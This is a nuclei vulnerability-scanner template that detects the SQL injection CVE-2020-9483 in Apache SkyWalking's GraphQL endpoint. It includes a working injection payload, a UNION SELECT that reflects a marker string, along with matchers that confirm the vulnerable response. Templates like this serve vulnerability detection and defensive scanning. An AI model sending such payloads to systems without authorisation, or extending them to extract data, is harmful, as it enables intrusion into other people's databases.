nuclei-templates/cves/2020/CVE-2020-9483.yaml

id: CVE-2020-9483

info:
  name: SkyWalking SQLI
  author: pikpikcu
  severity: high
  description: |
    When use H2/MySQL/TiDB as Apache SkyWalking storage, the metadata query through GraphQL protocol, there is a SQL injection vulnerability, which allows to access unpexcted data. Apache SkyWalking 6.0.0 to 6.6.0, 7.0.0 H2/MySQL/TiDB storage implementations don't use the appropriate way to set SQL parameters.
  reference: https://github.com/apache/skywalking/pull/4639
  tags: cve,cve2020,sqli,skywalking

requests:
  - method: POST
    path:
      - "{{BaseURL}}/graphql"
    headers:
      Content-Type: application/json
    body: |
      {"query":"query SQLi($d: Duration!){globalP99:getLinearIntValues(metric: {name:\"all_p99\",id:\"') UNION SELECT 1,CONCAT('~','9999999999','~')-- \",}, duration: $d){values{value}}}","variables":{"d":{"start":"2021-11-11","end":"2021-11-12","step":"DAY"}}}

    matchers-condition: and
    matchers:

      - type: word
        words:
          - "Content-Type: application/json"
        part: header

      - type: word
        words:
          - "UNION SELECT 1,CONCAT('~','9999999999','~')--"
          - 'Exception while fetching data'
        part: body
        condition: and

      - type: status
        status:
          - 200